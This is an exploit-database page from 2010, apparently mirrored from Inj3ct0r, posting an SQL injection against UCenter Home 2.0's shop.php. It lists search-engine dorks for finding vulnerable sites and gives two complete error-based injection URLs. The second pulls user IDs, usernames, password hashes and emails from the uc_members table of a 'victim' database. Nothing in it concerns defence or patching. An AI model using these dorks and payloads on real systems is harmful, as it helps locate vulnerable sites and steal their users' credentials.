Home / os / win7

[webapps / 0day] - UCenter Home 2.0 SQL Injection Vulnerabil

Posted on 13 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>UCenter Home 2.0 SQL Injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: KnocKout' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>============================================
UCenter Home 2.0 SQL Injection Vulnerability
============================================

*/ Author : KnocKout
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
*/ Contact: knockoutr@msn.com
*/ Cyber-Warrior.org/CWKnocKout
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Script : UCenter Home
Version : 2.0
Script HomePage : http://u.discuz.net/
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Dork : Powered by UCenter inurl:shop.php?ac=view
Dork 2 : inurl:shop.php?ac=view&amp;shopid=
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Vuln file : Shop.php
value&#039;s : (?)ac=view&amp;shopid=
Vulnerable Style : SQL Injection (MySQL Error Based)
Need Metarials : Hex Conversion
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
Your Need victim Database name.
for Inject : http://server/shop.php?ac=view&amp;shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
..
DB : Okey.
your edit DB `[TARGET DB NAME]`
Example : &#039;hiwir1_ucenter&#039;
Edit : Okey.
 Your use Hex conversion. And edit Your SQL Injection Exploit..
 
Exploit Code : http://server/shop.php?ac=view&amp;shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
 
 
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-13]</pre></body></html>

 

TOP

Malware :

Exploits :